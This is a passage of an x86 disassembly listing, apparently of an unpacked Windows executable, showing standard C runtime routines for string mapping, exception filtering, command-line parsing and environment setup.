add ecx, 1
mov [ebp+var_10], ecx
loc_429734: ; CODE XREF: sub_4294B0+19Cj
; sub_4294B0:loc_4296BEj ...
mov edx, [ebp+var_1C]
sub edx, [ebp+var_10]
mov [ebp+var_1C], edx
loc_42973D: ; CODE XREF: sub_4294B0+148j
; sub_4294B0+15Ej
mov eax, [ebp+var_1C]
add eax, [ebp+var_18]
loc_429743: ; CODE XREF: sub_4294B0+71j
; sub_4294B0+91j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4294B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429750 proc near ; CODE XREF: sub_41E5F0+EBp
; sub_424370+121p ...
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4382C0
push offset sub_42A9E4
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4EF998, 0
jnz short loc_4297D6
push 0
push 0
push 1
push offset dword_4382B8
push 100h
push 0
call dword_4F1318 ; LCMapStringW
test eax, eax
jz short loc_4297A7
mov dword_4EF998, 1
jmp short loc_4297D6
; ---------------------------------------------------------------------------
loc_4297A7: ; CODE XREF: sub_429750+49j
push 0
push 0
push 1
push offset dword_4382B4
push 100h
push 0
call dword_4F131C ; LCMapStringA
test eax, eax
jz short loc_4297CF
mov dword_4EF998, 2
jmp short loc_4297D6
; ---------------------------------------------------------------------------
loc_4297CF: ; CODE XREF: sub_429750+71j
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_4297D6: ; CODE XREF: sub_429750+2Dj
; sub_429750+55j ...
cmp [ebp+arg_C], 0
jle short loc_4297EF
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_429A60
add esp, 8
mov [ebp+arg_C], eax
loc_4297EF: ; CODE XREF: sub_429750+8Aj
cmp dword_4EF998, 2
jnz short loc_42981B
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4F131C ; LCMapStringA
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_42981B: ; CODE XREF: sub_429750+A6j
cmp dword_4EF998, 1
jnz loc_429A3F
cmp [ebp+arg_18], 0
jnz short loc_429837
mov edx, dword_4EF984
mov [ebp+arg_18], edx
loc_429837: ; CODE XREF: sub_429750+DCj
push 0
push 0
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_1C]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_18]
push eax
call dword_4F1420 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_42986B
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_42986B: ; CODE XREF: sub_429750+112j
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_30], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_30]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4298AD
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4298AD: ; CODE XREF: sub_429750+144j
cmp [ebp+var_24], 0
jnz short loc_4298BA
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_4298BA: ; CODE XREF: sub_429750+161j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call dword_4F1420 ; MultiByteToWideChar
test eax, eax
jnz short loc_4298E1
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_4298E1: ; CODE XREF: sub_429750+188j
push 0
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4F1318 ; LCMapStringW
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_42990B
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_42990B: ; CODE XREF: sub_429750+1B2j
mov edx, [ebp+arg_4]
and edx, 400h
test edx, edx
jz short loc_42995B
cmp [ebp+arg_14], 0
jz short loc_429956
mov eax, [ebp+var_28]
cmp eax, [ebp+arg_14]
jle short loc_42992D
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_42992D: ; CODE XREF: sub_429750+1D4j
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F1318 ; LCMapStringW
test eax, eax
jnz short loc_429956
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_429956: ; CODE XREF: sub_429750+1CCj
; sub_429750+1FDj
jmp loc_429A3A
; ---------------------------------------------------------------------------
loc_42995B: ; CODE XREF: sub_429750+1C6j
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov [ebp+var_4], 1
mov eax, [ebp+var_2C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41BC60
mov [ebp+var_34], esp
mov [ebp+var_18], esp
mov edx, [ebp+var_34]
mov [ebp+var_20], edx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4299A3
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4299A3: ; CODE XREF: sub_429750+23Aj
cmp [ebp+var_20], 0
jnz short loc_4299B0
xor eax, eax
jmp loc_429A41
; ---------------------------------------------------------------------------
loc_4299B0: ; CODE XREF: sub_429750+257j
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4F1318 ; LCMapStringW
test eax, eax
jnz short loc_4299D6
xor eax, eax
jmp short loc_429A41
; ---------------------------------------------------------------------------
loc_4299D6: ; CODE XREF: sub_429750+280j
cmp [ebp+arg_14], 0
jnz short loc_429A0A
push 0
push 0
push 0
push 0
mov eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_18]
push edx
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_429A08
xor eax, eax
jmp short loc_429A41
; ---------------------------------------------------------------------------
loc_429A08: ; CODE XREF: sub_429750+2B2j
jmp short loc_429A3A
; ---------------------------------------------------------------------------
loc_429A0A: ; CODE XREF: sub_429750+28Aj
push 0
push 0
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_18]
push ecx
call dword_4F141C ; WideCharToMultiByte
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_429A3A
xor eax, eax
jmp short loc_429A41
; ---------------------------------------------------------------------------
loc_429A3A: ; CODE XREF: sub_429750:loc_429956j
; sub_429750:loc_429A08j ...
mov eax, [ebp+var_28]
jmp short loc_429A41
; ---------------------------------------------------------------------------
loc_429A3F: ; CODE XREF: sub_429750+D2j
xor eax, eax
loc_429A41: ; CODE XREF: sub_429750+81j
; sub_429750+C6j ...
lea esp, [ebp-40h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429A60 proc near ; CODE XREF: sub_429750+94p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_429A72: ; CODE XREF: sub_429A60+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_429A97
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_429A97
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_429A72
; ---------------------------------------------------------------------------
loc_429A97: ; CODE XREF: sub_429A60+20j
; sub_429A60+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_429AA9
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_429AAC
; ---------------------------------------------------------------------------
loc_429AA9: ; CODE XREF: sub_429A60+3Fj
mov eax, [ebp+arg_4]
loc_429AAC: ; CODE XREF: sub_429A60+47j
mov esp, ebp
pop ebp
retn
sub_429A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429AB0 proc near ; CODE XREF: .nsp0:0041EB04p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
call sub_423CF0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [eax+50h]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_429C70
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_429AE3
mov eax, [ebp+var_10]
cmp dword ptr [eax+8], 0
jnz short loc_429AF2
loc_429AE3: ; CODE XREF: sub_429AB0+28j
mov ecx, [ebp+arg_4]
push ecx
call dword_4F1314 ; UnhandledExceptionFilter
jmp loc_429C6A
; ---------------------------------------------------------------------------
loc_429AF2: ; CODE XREF: sub_429AB0+31j
mov edx, [ebp+var_10]
cmp dword ptr [edx+8], 5
jnz short loc_429B0F
mov eax, [ebp+var_10]
mov dword ptr [eax+8], 0
mov eax, 1
jmp loc_429C6A
; ---------------------------------------------------------------------------
loc_429B0F: ; CODE XREF: sub_429AB0+49j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+8], 1
jnz short loc_429B20
or eax, 0FFFFFFFFh
jmp loc_429C6A
; ---------------------------------------------------------------------------
loc_429B20: ; CODE XREF: sub_429AB0+66j
mov edx, [ebp+var_10]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+54h]
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
mov [eax+54h], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx+4], 8
jnz loc_429C47
mov eax, dword_451C40
mov [ebp+var_14], eax
jmp short loc_429B5B
; ---------------------------------------------------------------------------
loc_429B52: ; CODE XREF: sub_429AB0+D0j
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
loc_429B5B: ; CODE XREF: sub_429AB0+A0j
mov edx, dword_451C40
add edx, dword_451C44
cmp [ebp+var_14], edx
jge short loc_429B82
mov eax, [ebp+var_14]
imul eax, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_429B52
; ---------------------------------------------------------------------------
loc_429B82: ; CODE XREF: sub_429AB0+BAj
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C000008Eh
jnz short loc_429BA5
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 83h
jmp loc_429C2D
; ---------------------------------------------------------------------------
loc_429BA5: ; CODE XREF: sub_429AB0+E4j
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C0000090h
jnz short loc_429BBC
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 81h
jmp short loc_429C2D
; ---------------------------------------------------------------------------
loc_429BBC: ; CODE XREF: sub_429AB0+FEj
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C0000091h
jnz short loc_429BD3
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 84h
jmp short loc_429C2D
; ---------------------------------------------------------------------------
loc_429BD3: ; CODE XREF: sub_429AB0+115j
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000093h
jnz short loc_429BEA
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 85h
jmp short loc_429C2D
; ---------------------------------------------------------------------------
loc_429BEA: ; CODE XREF: sub_429AB0+12Cj
mov ecx, [ebp+var_10]
cmp dword ptr [ecx], 0C000008Dh
jnz short loc_429C01
mov edx, [ebp+var_8]
mov dword ptr [edx+58h], 82h
jmp short loc_429C2D
; ---------------------------------------------------------------------------
loc_429C01: ; CODE XREF: sub_429AB0+143j
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0C000008Fh
jnz short loc_429C18
mov ecx, [ebp+var_8]
mov dword ptr [ecx+58h], 86h
jmp short loc_429C2D
; ---------------------------------------------------------------------------
loc_429C18: ; CODE XREF: sub_429AB0+15Aj
mov edx, [ebp+var_10]
cmp dword ptr [edx], 0C0000092h
jnz short loc_429C2D
mov eax, [ebp+var_8]
mov dword ptr [eax+58h], 8Ah
loc_429C2D: ; CODE XREF: sub_429AB0+F0j
; sub_429AB0+10Aj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_4]
add esp, 8
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+58h], ecx
jmp short loc_429C5E
; ---------------------------------------------------------------------------
loc_429C47: ; CODE XREF: sub_429AB0+92j
mov edx, [ebp+var_10]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_10]
mov ecx, [eax+4]
push ecx
call [ebp+var_4]
add esp, 4
loc_429C5E: ; CODE XREF: sub_429AB0+195j
mov edx, [ebp+var_8]
mov eax, [ebp+var_18]
mov [edx+54h], eax
or eax, 0FFFFFFFFh
loc_429C6A: ; CODE XREF: sub_429AB0+3Dj
; sub_429AB0+5Aj ...
mov esp, ebp
pop ebp
retn
sub_429AB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429C70 proc near ; CODE XREF: sub_429AB0+19p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_429C7A: ; CODE XREF: sub_429C70+30j
mov ecx, [ebp+var_4]
mov edx, [ecx]
cmp edx, [ebp+arg_0]
jz short loc_429CA2
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_451C4C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_429CA2
jmp short loc_429C7A
; ---------------------------------------------------------------------------
loc_429CA2: ; CODE XREF: sub_429C70+12j
; sub_429C70+2Ej
mov eax, dword_451C4C
imul eax, 0Ch
mov ecx, [ebp+arg_4]
add ecx, eax
cmp [ebp+var_4], ecx
jnb short loc_429CBE
mov edx, [ebp+var_4]
mov eax, [edx]
cmp eax, [ebp+arg_0]
jz short loc_429CC2
loc_429CBE: ; CODE XREF: sub_429C70+42j
xor eax, eax
jmp short loc_429CC5
; ---------------------------------------------------------------------------
loc_429CC2: ; CODE XREF: sub_429C70+4Cj
mov eax, [ebp+var_4]
loc_429CC5: ; CODE XREF: sub_429C70+50j
mov esp, ebp
pop ebp
retn
sub_429C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429CD0 proc near ; CODE XREF: .nsp0:0041EAA8p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_4F0FAC, 0
jnz short loc_429CE2
call sub_4246A0
loc_429CE2: ; CODE XREF: sub_429CD0+Bj
mov eax, dword_4F0FA4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jnz short loc_429D4C
loc_429CF6: ; CODE XREF: sub_429CD0:loc_429D33j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 22h
jz short loc_429D35
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_429D35
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
push eax
call sub_430C40
add esp, 4
test eax, eax
jz short loc_429D33
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_429D33: ; CODE XREF: sub_429CD0+58j
jmp short loc_429CF6
; ---------------------------------------------------------------------------
loc_429D35: ; CODE XREF: sub_429CD0+39j
; sub_429CD0+44j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 22h
jnz short loc_429D4A
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_429D4A: ; CODE XREF: sub_429CD0+6Fj
jmp short loc_429D63
; ---------------------------------------------------------------------------
loc_429D4C: ; CODE XREF: sub_429CD0+24j
; sub_429CD0+91j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
cmp eax, 20h
jle short loc_429D63
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_429D4C
; ---------------------------------------------------------------------------
loc_429D63: ; CODE XREF: sub_429CD0:loc_429D4Aj
; sub_429CD0+86j ...
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_429D85
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 20h
jg short loc_429D85
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_429D63
; ---------------------------------------------------------------------------
loc_429D85: ; CODE XREF: sub_429CD0+9Cj
; sub_429CD0+A8j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429CD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429D90 proc near ; CODE XREF: .nsp0:0041EA8Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4F0FAC, 0
jnz short loc_429DA4
call sub_4246A0
loc_429DA4: ; CODE XREF: sub_429D90+Dj
mov [ebp+var_8], 0
mov eax, dword_4EF8E0
mov [ebp+var_4], eax
loc_429DB3: ; CODE XREF: sub_429D90+57j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_429DE9
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 3Dh
jz short loc_429DD1
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_429DD1: ; CODE XREF: sub_429D90+36j
mov eax, [ebp+var_4]
push eax
call sub_418D00
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+1]
mov [ebp+var_4], edx
jmp short loc_429DB3
; ---------------------------------------------------------------------------
loc_429DE9: ; CODE XREF: sub_429D90+2Bj
push 6Dh
push offset dword_4382D8
push 2
mov eax, [ebp+var_8]
lea ecx, ds:4[eax*4]
push ecx
call sub_418EF0
add esp, 10h
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
mov dword_4EF898, edx
cmp dword_4EF898, 0
jnz short loc_429E24
push 9
call sub_41EB30
add esp, 4
loc_429E24: ; CODE XREF: sub_429D90+88j
mov eax, dword_4EF8E0
mov [ebp+var_4], eax
jmp short loc_429E37
; ---------------------------------------------------------------------------
loc_429E2E: ; CODE XREF: sub_429D90:loc_429EA5j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
mov [ebp+var_4], ecx
loc_429E37: ; CODE XREF: sub_429D90+9Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_429EA7
mov ecx, [ebp+var_4]
push ecx
call sub_418D00
add esp, 4
add eax, 1
mov [ebp+var_10], eax
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 3Dh
jz short loc_429EA5
push 79h
push offset dword_4382D8
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_418EF0
add esp, 10h
mov edx, [ebp+var_C]
mov [edx], eax
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0
jnz short loc_429E8A
push 9
call sub_41EB30
add esp, 4
loc_429E8A: ; CODE XREF: sub_429D90+EEj
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_C]
mov eax, [edx]
push eax
call sub_41C300
add esp, 8
mov ecx, [ebp+var_C]
add ecx, 4
mov [ebp+var_C], ecx
loc_429EA5: ; CODE XREF: sub_429D90+CCj
jmp short loc_429E2E
; ---------------------------------------------------------------------------
loc_429EA7: ; CODE XREF: sub_429D90+AFj
push 2
mov edx, dword_4EF8E0
push edx
call sub_419980
add esp, 8
mov dword_4EF8E0, 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov dword_4F0FA8, 1
mov esp, ebp
pop ebp
retn
sub_429D90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429EE0 proc near ; CODE XREF: .nsp0:0041EA88p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
cmp dword_4F0FAC, 0
jnz short loc_429EF4
call sub_4246A0
loc_429EF4: ; CODE XREF: sub_429EE0+Dj
push 104h
push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 0
call dword_4F132C ; GetModuleFileNameA
mov off_4EF8A8, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
mov eax, dword_4F0FA4
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_429F27
mov edx, off_4EF8A8
mov [ebp+var_14], edx
jmp short loc_429F2F
; ---------------------------------------------------------------------------
loc_429F27: ; CODE XREF: sub_429EE0+3Aj
mov eax, dword_4F0FA4
mov [ebp+var_14], eax
loc_429F2F: ; CODE XREF: sub_429EE0+45j
mov ecx, [ebp+var_14]
mov [ebp+var_10], ecx
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
push 0
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_429FC0
add esp, 14h
push 80h
push offset dword_4382E4
push 2
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*4]
push ecx
call sub_418EF0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_429F7E
push 8
call sub_41EB30
add esp, 4
loc_429F7E: ; CODE XREF: sub_429EE0+92j
lea edx, [ebp+var_4]
push edx
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
lea eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_10]
push edx
call sub_429FC0
add esp, 14h
mov eax, [ebp+var_C]
sub eax, 1
mov dword_4EF88C, eax
mov ecx, [ebp+var_8]
mov dword_4EF890, ecx
mov esp, ebp
pop ebp
retn
sub_429EE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429FC0 proc near ; CODE XREF: sub_429EE0+65p
; sub_429EE0+B8p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_10]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_C]
mov dword ptr [ecx], 1
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
cmp [ebp+arg_4], 0
jz short loc_429FF5
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov [eax], ecx
mov edx, [ebp+arg_4]
add edx, 4
mov [ebp+arg_4], edx
loc_429FF5: ; CODE XREF: sub_429FC0+22j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz loc_42A0CD
loc_42A004: ; CODE XREF: sub_429FC0:loc_42A08Dj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jz short loc_42A092
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42A092
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
xor eax, eax
mov al, byte_4EFE61[edx]
and eax, 4
test eax, eax
jz short loc_42A067
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_42A067
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42A067: ; CODE XREF: sub_429FC0+76j
; sub_429FC0+89j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42A08D
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42A08D: ; CODE XREF: sub_429FC0+B8j
jmp loc_42A004
; ---------------------------------------------------------------------------
loc_42A092: ; CODE XREF: sub_429FC0+56j
; sub_429FC0+60j
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
cmp [ebp+arg_8], 0
jz short loc_42A0B4
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_42A0B4: ; CODE XREF: sub_429FC0+E3j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42A0C8
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42A0C8: ; CODE XREF: sub_429FC0+FDj
jmp loc_42A19C
; ---------------------------------------------------------------------------
loc_42A0CD: ; CODE XREF: sub_429FC0+3Ej
; sub_429FC0+1B1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42A0F3
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42A0F3: ; CODE XREF: sub_429FC0+11Ej
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_C]
and ecx, 0FFh
xor edx, edx
mov dl, byte_4EFE61[ecx]
and edx, 4
test edx, edx
jz short loc_42A14B
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42A142
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42A142: ; CODE XREF: sub_429FC0+16Dj
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42A14B: ; CODE XREF: sub_429FC0+15Aj
mov edx, [ebp+var_C]
and edx, 0FFh
cmp edx, 20h
jz short loc_42A177
mov eax, [ebp+var_C]
and eax, 0FFh
test eax, eax
jz short loc_42A177
mov ecx, [ebp+var_C]
and ecx, 0FFh
cmp ecx, 9
jnz loc_42A0CD
loc_42A177: ; CODE XREF: sub_429FC0+197j
; sub_429FC0+1A3j
mov edx, [ebp+var_C]
and edx, 0FFh
test edx, edx
